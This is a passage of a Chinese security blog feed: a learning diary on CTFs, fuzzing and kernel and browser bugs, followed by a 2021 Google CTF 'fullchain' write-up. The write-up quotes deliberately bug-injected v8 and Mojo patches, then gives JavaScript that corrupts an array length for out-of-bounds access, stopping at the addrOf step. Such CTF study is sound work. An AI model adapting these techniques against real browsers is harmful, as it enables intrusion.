    <link href="http://www.xi4oyu.top/917bede2/"/>
    <id>http://www.xi4oyu.top/917bede2/</id>
    <published>2021-08-06T04:01:00.000Z</published>
    <updated>2021-08-06T04:01:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>记录日常学习 &amp; 生活，随缘更新<br>（本想整个日记啥的插件的，想了想还是直接扔到一篇文章里得了）</p><h2 id="2022-8-21"><a href="#2022-8-21" class="headerlink" title="2022/8/21"></a>2022/8/21</h2><p>因接触 <a href="https://github.com/SoftSec-KAIST/NTFuzz">NTFuzz</a> 这个工具的时候，看论文发现有些理论的基础我是没接触过的，查阅后知道是<strong>数据流分析</strong>的知识，然后发现了<a href="https://zhuanlan.zhihu.com/p/136697432">南京大学软件分析</a>这门课程对这方面讲得比较清晰，于是开始学习了，看了一星期多点，看了八节课 ppt，做了 4 个实验，很有趣，感觉应用场景挺大的。</p><p>学习过程中也在整理笔记，等学完这门课，整理完笔记后，一波放出来（<del>埋坑</del>）</p><span id="more"></span><h2 id="2022-6-11"><a href="#2022-6-11" class="headerlink" title="2022/6/11"></a>2022/6/11</h2><p>实习一个月了，搞 windows 内核，挺有意思的，学习了 win32kfull.sys 图形驱动的漏洞，以及 clfs 日志文件系统的漏洞，本想写点文章记录，想了想重复性工作太多了，就懒狗了。之前关于 linux 条件竞争的技巧想写文章，但其实说起来也就那样，不知道如何丰富内容，于是乎咕咕咕……</p><p>最近的状态都是：白天实习学 windows 内核漏洞利用，晚上看 《Linux Device Drivers》学习搞搞 linux 驱动开发，周末躺平摸鱼玩手机</p><p>2022 年也过去一半了，回顾下我目前为止都弃坑了什么东西以及学了什么东西吧</p><ol><li>弃坑浏览器 js 引擎的漏洞利用学习（主要是 v8），没啥兴趣了，不懂的太多了，挫败感太强了</li><li>更加深入的学习 linux 内核漏洞，就复现了些漏洞（主要是内核 UAF 这种利用起来我认为比较简单的洞），其实部分复现过的洞都写了文章</li><li>学算法，数据结构，算法刷了 leetcode 的剑指 Offer 的题库，后面又摸了，最近不想多开坑，就先搁置一下</li><li>每日背英语单词，曾经认为应付英语考试不需要背单词，事实也是如此，依靠仅有的语感在考试中确实也考得不错（四六级除外），现在不一样了，学英语不再是为了应付考试，只是为了能拥有这个外语能力，便于看技术文章，从背单词开始提升下英语能力（已经坚持了 42 天啦！）</li><li>因为实习而接触 windows 内核漏洞，还是非常有意思，涉及操作系统内核层面的东西都很有魅力，学到许多，尽管我对 windows 用户态的漏洞利用，逆向方面接触的很少，但是对于刚刚入门 windows 内核的我影响不算太大，后续啥不会学啥就行</li></ol><p>之后有打算再写点学习记录的文章，嗯~ 看情况吧，看看有没有想写的，以及看有没有精力</p><blockquote><p>不想更文章就会像现在这样，水个日记证明这个站还在</p></blockquote><h2 id="2022-3-30"><a href="#2022-3-30" class="headerlink" title="2022/3/30"></a>2022/3/30</h2><p>最近在学习 linux kernel，尝试复现一些真实的漏洞（<del>文章还没写 咕咕咕</del>）</p><p>在之前的内核中，常用到 userfaultfd 来提高条件竞争漏洞利用的成功率，但是在比较新的版本内核中，userfaultfd 的系统调用不能被普通用户所使用了，不过最近有利用 fuse 即用户态文件系统来提高条件竞争利用成功率的方法，具体可以看下面的文章：</p><ul><li><a href="https://www.willsroot.io/2022/01/cve-2022-0185.html">https://www.willsroot.io/2022/01/cve-2022-0185.html</a></li><li>最近的一个 CVE，看 exp 也用了 fuse的东西，<a href="https://github.com/plummm/CVE-2022-27666">https://github.com/plummm/CVE-2022-27666</a><blockquote><p>之前在操作系统课程的学习过程中，对 fuse 这个东西有一些了解，看看能不能整理写一篇小文章</p></blockquote></li></ul><h2 id="2022-2-25"><a href="#2022-2-25" class="headerlink" title="2022/2/25"></a>2022/2/25</h2><p>寒假摸了，监督 HCTF-HGAME 线上赛，D<sup>3</sup>CTF 出题，测题，期间还跟着打打 CTF，学了下 MIT 的操作系统课程 6.S081，重新审视下 OS 这门课</p><p><del>v8 的连载文章，连载速度都比我勤奋</del></p><p>还暂缓返校，在家摸鱼，零碎时间搞学习，陆陆续续填坑（以及丢弃没必要的坑，专心于一两件事情</p><h2 id="2021-12-27"><a href="#2021-12-27" class="headerlink" title="2021/12/27"></a>2021/12/27</h2><p>学期末了，考试提前有点慌，忙着应付学业，以及经常摸鱼，很多东西没学上。总结下这两个月都干了啥吧</p><ul><li>零零散散学了点安卓，日常看看安全技术文章的推送</li><li>跟着 fuzzing101 做了几个 lab，感觉收获不大</li><li>看了看关于 v8 的一个比较友好的连载文章：<a href="https://www.anquanke.com/post/id/253048">https://www.anquanke.com/post/id/253048</a></li><li>打了场浙江省省赛，混了个一等奖</li><li>《加密与解密》看了一大半，不过这学期看不完了</li><li>《Effective Modern C++》 很早就看完了，还是非常不错的一本书</li><li>上周打了场 ByteCTF Final，0 输出了，wp 出来后复现了 6 道有意思的 mobile 题</li><li>昨天和今天打了场 SCTF，貌似大佬们都关注 kernel 啥的难题去了，没发现有两道只需要散装编译原理以及一些 bison 写词法分析和语法分析的知识就能做的题，分别混了个一血和二血，然后还有一道一血 ROP open read 爆破 flag 的题，今天围观队友上分，然后摸鱼</li><li>还打了几场比赛，emm,明明省赛过后该淡出了，可是看到队友人太少没法打，只好继续帮帮忙了</li></ul><h2 id="2021-10-21"><a href="#2021-10-21" class="headerlink" title="2021/10/21"></a>2021/10/21</h2><p>这学期感觉在多线程学习，啥都学，像回到了大一努力学习加入协会的样子</p><ul><li>《加密与解密》，才看了前四章，内容还比较基础，主要是工具的介绍还有简单的逆向技巧，希望能坚持看完</li><li>协会购书整了本《Effective Modern C++》，书不是很厚，今天一下午就看了几章了。这本书还是不错的，用非常简单的语言和例子讲述现代 C++ 常用的特性，如果只是学习了 C++ 语法皮毛，没怎么接触过现代 C++，例如把 C++ 当成 C with class，那么你一定需要这本书</li><li>前几天在 ByteCTF 初赛里遇到了 3 道安卓 pwn 题<em>（插句嘴：虽然分类是 pwn，但我认为这属于安卓逻辑漏洞吧）</em>，看了看赛前的技术分享，磕磕碰碰做出了其中两道，队友很猛，最后关头杀入前 20 进入决赛，<del>学弟妹们有机会去北京打线下了（老赛棍就不抢线下旅游机会了）</del>。借着这两道安卓题，最近也开始学安卓开发（是的，做出两道题的我一点也不会安卓），先学安卓开发，再搞安卓的安全问题</li><li>emmm，浏览器漏洞相关的学习，最近也没怎么深入接触呢，<del>这学期有的是时间</del>，都可以搞，都可以学！</li></ul><h2 id="2021-10-6"><a href="#2021-10-6" class="headerlink" title="2021/10/6"></a>2021/10/6</h2><ul><li>这几天给电脑配环境，尽量整得舒适点，整了很久，该开始进入学习技术的状态了</li><li>这学期打算学习《加密与解密》这本书，买了一直吃灰，也该看看了，希望不咕</li></ul><h2 id="2021-9-20"><a href="#2021-9-20" class="headerlink" title="2021/9/20"></a>2021/9/20</h2><ul><li>在9月17号结束了两个多月的实习，在暑假实习期间还是学到了东西，分析漏洞的时候，不仅要关注漏洞怎么利用本身，也要去学习软件开发者设计的思路，去理解为什么会产生这样的问题，从而去发现新的问题，以及思考怎么去规避这类问题的产生，蛮有意思的，在安全这方面还有很长的路要走呢。</li><li>今天也是回到学校的第二天了，中秋放假，这两天也是在摸鱼，还没想好这学期要干点什么，先等等上课吧</li></ul><h2 id="2021-9-7"><a href="#2021-9-7" class="headerlink" title="2021/9/7"></a>2021/9/7</h2><ul><li>回顾 2020 参加的 RCTF 的一道 pwn 题，看上古学长的 wp：<br><a href="https://1ce0ear.github.io/2020/06/11/rctf2020-pwn-golang-interface/；">https://1ce0ear.github.io/2020/06/11/rctf2020-pwn-golang-interface/；</a><br>利用 golang 的条件竞争 bug 来绕过沙箱进行任意代码执行，文章里面还贴了 Nu1l 战队的 wp，其中有个地方很有意思，利用 <code>mov rcx, 0x05eb909090909090</code> 生成的汇编有 <code>\x48\xb9\x90\x90\x90\x90\x90\x90\xeb\x05</code>，只要能控制 pc 到 <code>\x48\xb9</code> 之后的位置，就可以任意执行 <code>0x05eb909090909090</code> 构成的代码，利用 golang 返回整数数组的语句来大量生成这样的语句，再控制 pc 就比较方便地任意执行代码了，wp 使用了这些注入的代码来调用 mprotect 然后再跳到 shellcode 中执行更复杂的代码</li></ul><h2 id="2021-8-31"><a href="#2021-8-31" class="headerlink" title="2021/8/31"></a>2021/8/31</h2><ul><li>最近看了看 <em>IDAPython Book</em>，学习 idapython 怎么写</li><li>昨天玄武实验室的推送有一篇关于基于断点的二进制程序 fuzzer，很有意思：<a href="https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20trapfuzzer-%20Coverage-guided%20Binary%20Fuzzing%20with%20Breakpoints%20-%20Sili%20Luo.pdf">https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20trapfuzzer-%20Coverage-guided%20Binary%20Fuzzing%20with%20Breakpoints%20-%20Sili%20Luo.pdf</a></li><li>2021 InCTF DeadlyFastGraph 的 writeup 之前看得比较粗糙，今天找了点时间复现完了，准备写篇文章，毕竟是第一次接触 WebKit 整 jsc 的利用</li><li>chromium issues 1062091 的学习，之前的 leak gadget 偏移问题已经不重要了，我想到了别的 leak 方法。然后又遇到没符号的问题，然后才发现 .pdb 文件可以下载。顺带一提，可以从下面第一个链接根据版本号查 <em>Branch Base Position</em>，然后去第二个链接找对应平台的二进制包以及符号文件：<ol><li><a href="https://omahaproxy.appspot.com/">https://omahaproxy.appspot.com/</a></li><li><a href="https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html">https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html</a></li><li>例如 81.0.4044.69 版本的 chromium<br><a href="https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/737173/">https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/737173/</a>  chrome-win32-syms.zip 就是符号文件，之前一直以为 win32 对应的是 32 位系统的符号文件就没在意</li></ol></li></ul><p>（ghidra 分析 chrome.dll 卡了一下午）</p><h2 id="2021-8-27"><a href="#2021-8-27" class="headerlink" title="2021/8/27"></a>2021/8/27</h2><ul><li><a href="https://interrupt.memfault.com/blog/advanced-gdb">https://interrupt.memfault.com/blog/advanced-gdb</a> 从玄武实验室公众号推送看到的，gdb 的一些高级用法，有些技巧还是很有用的</li><li>复现了一下 2020ductf（downunderctf）的一道 v8 题目，这个比 2019 starctf 的 oob 还要简单，任意数组越界两个单位，exp 很快就写好了，就不详细写文章了，利用方式和 starctf 的 oob 差不多，题目地址：<br><a href="https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/pwn/is-this-pwn-or-web/challenge">https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/pwn/is-this-pwn-or-web/challenge</a></li></ul><h2 id="2021-8-25"><a href="#2021-8-25" class="headerlink" title="2021/8/25"></a>2021/8/25</h2><ul><li>近两天在学习这个洞的利用方法，思路看懂了，但作者的 exp 的偏移好像都不对啊，没符号，正在想办法自己找偏移：<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1062091">https://bugs.chromium.org/p/chromium/issues/detail?id=1062091</a></li><li>fuzzing 教程 <a href="https://github.com/antonio-morales/Fuzzing101">https://github.com/antonio-morales/Fuzzing101</a> </li><li><a href="https://github.com/ventoy/Ventoy">https://github.com/ventoy/Ventoy</a> 制作可启动U盘的工具，这个和 winsetupfromusb 工具一样，都可以引导多个镜像，但这个更方便，只要拷贝镜像进 U 盘就行</li><li>跟着教程 <a href="https://github.com/lotabout/write-a-C-interpreter">https://github.com/lotabout/write-a-C-interpreter</a> 学着写一个 C 语言解释器，bug 频出，有些许东西看不太懂，编译原理果然还是硬核知识</li></ul><h2 id="2021-8-19"><a href="#2021-8-19" class="headerlink" title="2021/8/19"></a>2021/8/19</h2><ul><li>glibc一个很旧的漏洞的分析文章：<a href="https://www.anquanke.com/post/id/250852">https://www.anquanke.com/post/id/250852</a></li><li>看玄武实验室公众号的推送：<ul><li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2197">https://bugs.chromium.org/p/project-zero/issues/detail?id=2197</a> chrome 的一个比较新的漏洞，简单看了下，之后搭一下环境看看能不能写个利用<ul><li><a href="https://github.com/uxmal/reko">https://github.com/uxmal/reko</a> 开源的反汇编工具</li></ul></li></ul></li><li>2021 InCTF DeadlyFastGraph 的 WriteUp： <a href="https://blog.bi0s.in/2021/08/15/Pwn/InCTFi21-DeadlyFastGraph/">https://blog.bi0s.in/2021/08/15/Pwn/InCTFi21-DeadlyFastGraph/</a></li><li>逛 github：<ul><li><a href="https://github.com/managarm/managarm">https://github.com/managarm/managarm</a> 微内核架构的64位多核操作系统<ul><li><a href="https://github.com/lotabout/write-a-C-interpreter">https://github.com/lotabout/write-a-C-interpreter</a> 用 C 语言编写 C 语言解释器的教程</li><li><a href="https://github.com/liexusong/linux-source-code-analyze">https://github.com/liexusong/linux-source-code-analyze</a> linux 源码分析的文章</li><li><a href="https://github.com/0voice/linux_kernel_wiki">https://github.com/0voice/linux_kernel_wiki</a> linux 内核学习资料（收藏永不停止，学习从未开始哈哈哈）</li></ul></li></ul></li></ul><h2 id="2021-8-18"><a href="#2021-8-18" class="headerlink" title="2021/8/18"></a>2021/8/18</h2><ul><li>发现个有意思的项目：<a href="https://github.com/robertkrimen/otto">https://github.com/robertkrimen/otto</a></li><li>正打算分析下这个洞： <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1062091">https://bugs.chromium.org/p/chromium/issues/detail?id=1062091</a></li></ul><h2 id="2021-8-16"><a href="#2021-8-16" class="headerlink" title="2021/8/16"></a>2021/8/16</h2><p>今天没啥可以分享的技术上的东西</p><ul><li>继续看 v8 源码，越看越深，有点脑昏了</li><li>上周末搬家完毕，还没调整好状态，感觉现在就是在熬生活</li></ul><h2 id="2021-8-12"><a href="#2021-8-12" class="headerlink" title="2021/8/12"></a>2021/8/12</h2><ul><li>公司上班真好，又有环境了，继续分析漏洞，又是进展大大的一天</li><li>最近主要都在阅读 v8 编译优化部分的源码，找机会整理一下</li><li>没完整学过编译原理真的吃亏，无意中查了一直看不懂代码的函数名，才发现是编译原理的东西，小小的补一下（大脑里只有散装的编译原理）：</li><li>支配树相关：<a href="https://blog.csdn.net/dashuniuniu/article/details/52224882">https://blog.csdn.net/dashuniuniu/article/details/52224882</a></li><li>构造支配树的一种方法：<a href="https://www.cs.rice.edu/~keith/EMBED/dom.pdf">https://www.cs.rice.edu/~keith/EMBED/dom.pdf</a></li></ul><h2 id="2021-8-11"><a href="#2021-8-11" class="headerlink" title="2021/8/11"></a>2021/8/11</h2><ul><li>居家办公，电脑上的环境不全，就没有继续分析漏洞了，学习了一天的 codeql</li><li>非常有意思的 codeql 课程 <a href="https://lab.github.com/githubtraining/codeql-u-boot-challenge-(cc++)">https://lab.github.com/githubtraining/codeql-u-boot-challenge-(cc++)</a></li><li><a href="https://securitylab.github.com/ctf/">https://securitylab.github.com/ctf/</a></li><li>看玄武实验室公众号每日推送，有两个关于利用 codeql 挖掘漏洞的链接<br><a href="https://securitylab.github.com/research/NSA-emissary/">https://securitylab.github.com/research/NSA-emissary/</a><br><a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Leecraso-Put-In-One-Bug-And-Pop-Out-More-An-Effective-Way-Of-Bug-Hunting-In-Chrome.pdf">https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Leecraso-Put-In-One-Bug-And-Pop-Out-More-An-Effective-Way-Of-Bug-Hunting-In-Chrome.pdf</a> （这个其实就是上周看的 blackhat 360 alpha lab 的演讲分享）</li></ul><h2 id="2021-8-10"><a href="#2021-8-10" class="headerlink" title="2021/8/10"></a>2021/8/10</h2><ul><li>被租房突发问题搞崩心态了，今天就继续分析漏洞，然后没怎么干其它事情了</li><li>简单补补 turbofan 的知识<br><a href="https://docs.google.com/document/d/1aeUugkWCF1biPB4tTZ2KT3mmRSDV785yWZhwzlJe5xY/edit#">https://docs.google.com/document/d/1aeUugkWCF1biPB4tTZ2KT3mmRSDV785yWZhwzlJe5xY/edit#</a> &lt;– 太底层了，好像没什么用(2021/8/13)<br><a href="https://benediktmeurer.de/2016/11/25/v8-behind-the-scenes-november-edition">https://benediktmeurer.de/2016/11/25/v8-behind-the-scenes-november-edition</a></li></ul><h2 id="2021-8-9"><a href="#2021-8-9" class="headerlink" title="2021/8/9"></a>2021/8/9</h2><p>（周末一直宅着摸鱼，太惭愧了）</p><ul><li>继续分析之前 v8 漏洞（emmm，毕竟是工作内容，好像不能说太多），看了一整天的源码，思绪高涨，发现了很多没注意的细节，然后又卡壳了</li><li>参考了 Sakura 前辈的文章：<a href="https://buaq.net/go-33711.html">https://buaq.net/go-33711.html</a> （这篇文章搬运自 Sakura 前辈的博客，但是在前辈的博客上找不到原文了），看了这篇文章消除了之前对 Node 的 <code>use</code> 结点的困惑，大致就是有边 A-&gt;B，A 是 B 的 input，B 是 A 的 use</li><li>RARctf 上线看了下题，貌似不是很难，逆了一下一道题，把 ida 的分析文件交给学弟就下线了</li></ul><h2 id="2021-8-6"><a href="#2021-8-6" class="headerlink" title="2021/8/6"></a>2021/8/6</h2><p>第一记，顺带总结下之前几天的事情</p><ul><li><p>上次复现 Google ctf 的题目，在调试 release 版 chrome 的时候没法断在 v8 的进程里，第二天就找到解决方法了，本想总结一篇文章，但是太简略了没必要，简述就是启动 chrome 的时候加上参数 <code>--renderer-startup-dialog</code>，这样 chrome 的渲染进程（v8 引擎所在进程）会暂停，<code>ps | grep chrome</code> 找到启动参数带有 <code>--type=renderer</code> 的 chrome 进程，这个就是负责解析 js 的进程，gdb attach 上去，设置好断点什么的，continue 就行了</p></li><li><p>实习从开始分析了个 v8 漏洞，太菜了，重点没找准，还在继续分析（今天实验室的大佬给我指点迷津，分析的漏洞又有新头绪了）</p></li><li><p>最近在看 chrome Mojo 的东西，跟着文档写 demo，看看相关的漏洞。在 <a href="https://github.com/allpaca/chrome-sbx-db">https://github.com/allpaca/chrome-sbx-db</a> 上看了下几个 UAF 的 issues，有些 UAF 都和类成员维护了一个 RenderFrameHost 对象的裸指针有关，这个指针会在页面关闭的时候释放，但是维护这个指针的类对象（基本是 Mojo 的 interface）的生命周期有可能未结束，之后在这个类对象使用该裸指针的时候就会造成 UAF，尝试着用这个特点去审计了一下源码找找有没有相似的问题（当然莫得发现）</p></li><li><p>今天看了 360 Alpha Lab 在 blackhat 上的演讲ppt <a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Leecraso-Put-In-One-Bug-And-Pop-Out-More-An-Effective-Way-Of-Bug-Hunting-In-Chrome.pdf">https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Leecraso-Put-In-One-Bug-And-Pop-Out-More-An-Effective-Way-Of-Bug-Hunting-In-Chrome.pdf</a> ，这里就提到了 Mojo 相关的类维护一个 RenderFrameHost 对象的裸指针造成的 UAF 问题，以及如何使用 Codeql（好东西）去发现相似的问题。回头看看之前的 UAF，原来有几个都是 Alpha Lab 报告的，学到许多。ppt 后半部分没看懂，太菜了我</p></li><li><p>还看了点 fuzz 的东西，学习下原理，emmm，发现 fuzz，符号执行，污点分析好像都多少和编译原理沾边，编译原理没完整学过，有点难理解</p></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;记录日常学习 &amp;amp; 生活，随缘更新&lt;br&gt;（本想整个日记啥的插件的，想了想还是直接扔到一篇文章里得了）&lt;/p&gt;
&lt;h2 id=&quot;2022-8-21&quot;&gt;&lt;a href=&quot;#2022-8-21&quot; class=&quot;headerlink&quot; title=&quot;2022/8/21&quot;&gt;&lt;/a&gt;2022/8/21&lt;/h2&gt;&lt;p&gt;因接触 &lt;a href=&quot;https://github.com/SoftSec-KAIST/NTFuzz&quot;&gt;NTFuzz&lt;/a&gt; 这个工具的时候，看论文发现有些理论的基础我是没接触过的，查阅后知道是&lt;strong&gt;数据流分析&lt;/strong&gt;的知识，然后发现了&lt;a href=&quot;https://zhuanlan.zhihu.com/p/136697432&quot;&gt;南京大学软件分析&lt;/a&gt;这门课程对这方面讲得比较清晰，于是开始学习了，看了一星期多点，看了八节课 ppt，做了 4 个实验，很有趣，感觉应用场景挺大的。&lt;/p&gt;
&lt;p&gt;学习过程中也在整理笔记，等学完这门课，整理完笔记后，一波放出来（&lt;del&gt;埋坑&lt;/del&gt;）&lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>2021-google-ctf-pwn-fullchain</title>
    <link href="http://www.xi4oyu.top/68622871/"/>
    <id>http://www.xi4oyu.top/68622871/</id>
    <published>2021-07-26T03:32:00.000Z</published>
    <updated>2021-07-26T03:32:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>2021 google ctf 一道 pwn 题的复现，正如题目的名字，这是一条利用链，从 v8 到 sandbox-escape 再到 kernel pwn 提权</p><span id="more"></span><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>官方附件：</p><p><code>https://storage.googleapis.com/gctf-2021-attachments-project/c12856fc6c010d643763e678265f7921b7a44dcd7bcb5ced32634d21dfdff0c5f9542d6a5bdcc6639d8834ab1ff25b263affd8952b11e972c2066aa3cae71540</code></p><p>官方题目源码：<code>https://github.com/google/google-ctf/tree/master/2021/quals/pwn-fullchain</code><br>(<em>环境很大，要搭建很久</em>)</p><p>远程环境：<code>fullchain.2021.ctfcompetition.com 1337</code></p><p>chromium 的 commit 为：<code>1be58e78c7ec6603d416aed4dfae757334cd4e1e</code></p><p>为了方便地调试 v8 的漏洞，需要搭建一下 v8 的环境，可以在下面的链接找到对应的 v8 commit ：<a href="https://chromium.googlesource.com/chromium/src/+/1be58e78c7ec6603d416aed4dfae757334cd4e1e/DEPS">https://chromium.googlesource.com/chromium/src/+/1be58e78c7ec6603d416aed4dfae757334cd4e1e/DEPS</a></p><p>找到到 <code>v8_revision</code> 字段，得到 commit</p><pre class="line-numbers language-none"><code class="language-none">...  &#39;v8_revision&#39;: &#39;0cf641358acebb26c2b7ddc047b1b41597d344c8&#39;,...<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>搭建 v8 的调试环境即可</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>题目要求输入一个 html 文件，交给 chrome 解析，flag 在 <code>/dev/vdb</code> 里，并且要 root 权限</p><p>那么要从 chrome 任意代码执行，然后 kernel pwn 提权了</p><h3 id="从-chrome-到任意代码执行"><a href="#从-chrome-到任意代码执行" class="headerlink" title="从 chrome 到任意代码执行"></a>从 chrome 到任意代码执行</h3><p>先来看看 chrome，题目用两个 patch 构造了两个 bug，分别对应 v8 和 Mojo</p><p>v8_bug.patch：</p><pre class="line-numbers language-c++" data-language="c++"><code class="language-c++">diff --git a&#x2F;src&#x2F;builtins&#x2F;typed-array-set.tq b&#x2F;src&#x2F;builtins&#x2F;typed-array-set.tqindex b5c9dcb261..ac5ebe9913 100644--- a&#x2F;src&#x2F;builtins&#x2F;typed-array-set.tq+++ b&#x2F;src&#x2F;builtins&#x2F;typed-array-set.tq@@ -198,7 +198,7 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(   if (targetOffsetOverflowed) goto IfOffsetOutOfBounds;    &#x2F;&#x2F; 9. Let targetLength be target.[[ArrayLength]].-  const targetLength &#x3D; target.length;+  &#x2F;&#x2F; const targetLength &#x3D; target.length;    &#x2F;&#x2F; 19. Let srcLength be typedArray.[[ArrayLength]].   const srcLength: uintptr &#x3D; typedArray.length;@@ -207,8 +207,8 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(    &#x2F;&#x2F; 21. If srcLength + targetOffset &gt; targetLength, throw a RangeError   &#x2F;&#x2F;   exception.-  CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)-      otherwise IfOffsetOutOfBounds;+  &#x2F;&#x2F; CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)+  &#x2F;&#x2F;     otherwise IfOffsetOutOfBounds;    &#x2F;&#x2F; 12. Let targetName be the String value of target.[[TypedArrayName]].   &#x2F;&#x2F; 13. Let targetType be the Element Type value in Table 62 for<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这个 patch 很简单，把 TypedArray 的 set 方法的边界检查给去掉了</p><p>set 方法是从指定索引开始给数组填充数据，没有了边界检查，那么就可以越界写了</p><p>从越界写构造任意读写，那么就可以做很多事情了，当然了执行 shellcode 拿 shell 是不行的，因为 chrome 开启了 sandbox，v8 引擎的进程运行在 sandbox 中，很多系统调用如 execve 都无法使用，想要拿到 shell，就要利用接下来的 Mojo 的漏洞进行 sandbox-escape 了</p><p>来看看 Mojo 的 bug，在文件 sbx_bug.patch 中，patch 给 Mojo 添加了一个 interface，有 ResizeVector，Read，Write 方法如下：</p><pre class="line-numbers language-c++" data-language="c++"><code class="language-c++">void CtfInterfaceImpl::ResizeVector(uint32_t size,                                    ResizeVectorCallback callback) &#123;  numbers_.resize(size);  std::move(callback).Run();&#125;void CtfInterfaceImpl::Read(uint32_t offset, ReadCallback callback) &#123;  std::move(callback).Run(numbers_[offset]);&#125;void CtfInterfaceImpl::Write(double value,                             uint32_t offset,                             WriteCallback callback) &#123;  numbers_[offset] &#x3D; value;  std::move(callback).Run();&#125;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中 numbers_ 成员是 std::vector 类，可以看到 Read 和 Write 方法都没有对索引进行越界检查，而且 std::vector 类对运算符 <code>[]</code> 的重载中，也是没有边界检查的，所以 Read 和 Write 可以任意越界读写，且 Mojo 的进程是不在 sandbox 里的，利用任意越界读写可以在 Mojo 的进程里执行 shellcode 就能拿到 shell</p><h4 id="v8-exploit"><a href="#v8-exploit" class="headerlink" title="v8 exploit"></a>v8 exploit</h4><p>默认情况下，chrome 是不开启 Mojo 的功能的，需要添加相应的启动参数，但是 chrome 是有一些全局的 flags 控制运行时开启某些功能，开启 Mojo 的 flag 是 <code>is_mojo_js_enabled</code> 和 <code>is_mojo_js_test_enabled</code>，这两个是布尔类型的变量，通过 v8 的漏洞，将这两个变量改写为 true，重新加载页面即可开启 Mojo</p><h5 id="从越界写到越界读写"><a href="#从越界写到越界读写" class="headerlink" title="从越界写到越界读写"></a>从越界写到越界读写</h5><p>调试以下代码：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint32Array</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">let</span> oob_arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span> <span class="token number">1.2</span><span class="token punctuation">,</span> <span class="token number">1.3</span><span class="token punctuation">,</span> <span class="token number">1.4</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>oob_arr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到数组 b 的 data_ptr 即数组的起始地址：<br><img src="/images/68622871/0.png" alt="data_ptr"></p><p>以及数组 oob_arr 的信息：<br><img src="/images/68622871/1.png" alt="oob_arr"></p><p>oob_arr 的长度为 4，因为 smi 用最低 bit 为 0 标记，那么 length 在内存中的值为 8，可以看到在如下地址处：<br><img src="/images/68622871/2.png" alt="length"></p><p>那么越界改写 oob_arr 的 length 字段，即可利用 oob_arr 造成任意越界读写，计算偏移如下：<br><img src="/images/68622871/3.png" alt="offset_overwrite_length"></p><p>那么只要 <code>b.set([fake_length], 32)</code>，即可达到改写 oob_arr 的 length 字段了，后续代码如下：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js">a<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">444444</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>b<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token number">32</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>可以看到 length 字段成功被改写：<br><img src="/images/68622871/4.png" alt="oob"></p><h5 id="addrOf"><a 